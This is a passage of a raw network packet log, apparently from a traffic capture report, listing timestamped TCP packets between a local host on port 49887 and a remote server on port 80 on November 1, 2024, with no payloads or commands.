Nov 1, 2024 00:38:45.778688908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778722048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778739929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778768063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778794050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778829098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778832912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778867006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778878927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778902054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.778914928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778943062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779351950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779386044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779421091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779478073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779480934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779480934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779480934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779525042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779782057 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779817104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779830933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779850006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.779863119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.779891014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.820141077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.820173979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.820215940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.820262909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.822581053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.822628975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.822633028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.822681904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.822684050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.822714090 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.822727919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.822746992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859289885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859344006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859380007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859414101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859442949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859442949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859442949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859458923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859771013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859800100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859823942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859838009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859853029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859882116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.859900951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.859924078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880372047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880402088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880461931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880471945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880475044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880510092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880515099 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880547047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880572081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880582094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.880587101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880619049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.880956888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.881009102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.881032944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.881077051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.881083012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.881118059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.881129980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.881154060 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.881162882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.881192923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.895509958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895545959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895580053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895651102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.895751953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895754099 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.895804882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895838022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.895854950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895886898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.895890951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895925045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.895941019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896022081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896292925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.896336079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896342993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.896379948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.896388054 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896414042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.896415949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896449089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.896461964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896487951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.896996975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.897031069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.897042990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.897057056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.897066116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.897098064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.947747946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.947803974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.947838068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.948035955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.975899935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.975938082 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.975971937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.975974083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.975985050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976015091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976170063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976205111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976223946 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976238012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976248026 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976285934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976736069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976769924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976784945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976807117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.976809978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.976850033 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997288942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997324944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997354984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997358084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997378111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997395039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997410059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997453928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997514963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997544050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997560024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997590065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997617960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997669935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997669935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997704029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997714996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997740030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.997747898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.997781992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.998183012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.998213053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.998234987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.998246908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012476921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012511015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012531996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012543917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012556076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012584925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012610912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012651920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012660027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012706041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012859106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012893915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012906075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012929916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012939930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.012965918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.012974024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013009071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013308048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013355970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013360023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013400078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013467073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013500929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013515949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013535976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013540983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013570070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.013581991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013612986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.013991117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.014024019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.014040947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.014059067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.014062881 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.014094114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.014105082 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.014137030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.064502954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.064533949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.064585924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.064589024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.064610004 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.064615965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.064635038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.064659119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.092737913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.092782021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.092819929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.092849970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.092849970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.092869997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.092909098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.092945099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.092957020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.092998981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093041897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093071938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093084097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093113899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093449116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093497038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093503952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093544960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093556881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093585968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.093597889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.093628883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114135981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114171982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114217997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114224911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114238977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114259958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114269972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114295959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114304066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114331007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114339113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114372969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114501953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114536047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114553928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114577055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114584923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114635944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114782095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114814997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114837885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114850998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.114854097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.114892960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129332066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129365921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129415989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129416943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129607916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129657030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129689932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129717112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129724026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129753113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129772902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129795074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129827976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129839897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129862070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.129868984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.129904985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130069017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130098104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130116940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130142927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130207062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130240917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130256891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130280972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130292892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130342960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130574942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130624056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130625010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130661011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130666971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130695105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130706072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130729914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.130737066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.130783081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.131058931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.131088018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.131109953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.131120920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.181447029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.181484938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.181518078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.181642056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.181642056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209649086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209698915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209711075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209738016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209749937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209784031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209798098 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209817886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209827900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209857941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209861994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209892988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.209903002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.209937096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.210341930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.210371971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.210396051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.210407019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.210414886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.210448027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.210459948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.210494995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.210509062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.210531950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.230911970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.230947018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.230973959 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.230981112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.230993032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231019020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231023073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231051922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231065989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231087923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231156111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231332064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231368065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231384039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231400967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231408119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231446028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231556892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231590986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231610060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231625080 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.231633902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.231681108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246169090 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246205091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246231079 CET	49887	80	192.168.2.6	185.215.113.16
